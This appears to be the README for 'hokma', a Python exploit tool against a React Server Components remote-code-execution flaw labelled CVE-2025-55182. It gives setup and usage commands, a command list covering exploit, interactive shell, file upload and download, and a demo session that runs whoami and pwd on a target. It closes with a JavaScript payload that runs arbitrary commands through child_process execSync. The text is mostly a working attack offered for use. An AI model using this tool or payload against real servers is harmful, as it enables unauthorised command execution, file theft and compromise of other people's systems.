# Clone the repository
git clone https://github.com/yourusername/hokma.git
cd hokma

# Install dependencies
pip install requests

# Make script executable (optional)
chmod +x hokma.py

# Start interactive shell
python hokma.py

# Check vulnerability only
python hokma.py -u http://target.com --check

# Execute single command
python hokma.py -u http://target.com -c "whoami"

help                    Show this help message
set URL <url>          Set target URL
set ID <action_id>     Set action ID (default: user-profile-action)
show                   Show current options
check [url]            Check if target is vulnerable
exploit <command>      Execute command on target
shell                  Start interactive command shell
test                   Run test commands (id, whoami, etc.)
upload <loc> <rem>     Upload local file to target
download <rem> <loc>   Download remote file (base64 encoded)
clear                  Clear screen
exit/quit              Exit the shell

$ python hokma.py

  ____                 _     ____  _          _ _ 
 |  _ \ ___  __ _  ___| |_  / ___|| |__   ___| | |
 | |_) / _ \/ _` |/ __| __| \___ \| '_ \ / _ \ | |
 |  _ <  __/ (_| | (__| |_   ___) | | | |  __/ | |
 |_| \_\___|\__,_|\___|\__| |____/|_| |_|\___|_|_|
                                                  
 React Server Components RCE Exploit (CVE-2025-55182)
Interactive Shell - Type 'help' for commands

hokma> set URL http://vulnerable-app.com
[+] URL set to: http://vulnerable-app.com

hokma> check
[*] Checking vulnerability on target: http://vulnerable-app.com...
[+] TARGET IS VULNERABLE!

hokma> exploit whoami
[*] Executing command: whoami
[*] Server responded with status: 200

--- COMMAND OUTPUT ---
www-data
----------------------

hokma> shell
[*] Starting reverse shell. Use 'exit' to return.
[*] Enter commands to execute on target:
cmd> pwd
[*] Executing command: pwd

--- COMMAND OUTPUT ---
/var/www/html
----------------------
cmd> exit

const cmd = "COMMAND";
return import('child_process').then(cp => {
    try {
        const output = cp.execSync(cmd).toString();
        return output;
    } catch(e) { 
        return "Command Execution Failed: " + e.message; 
    }
});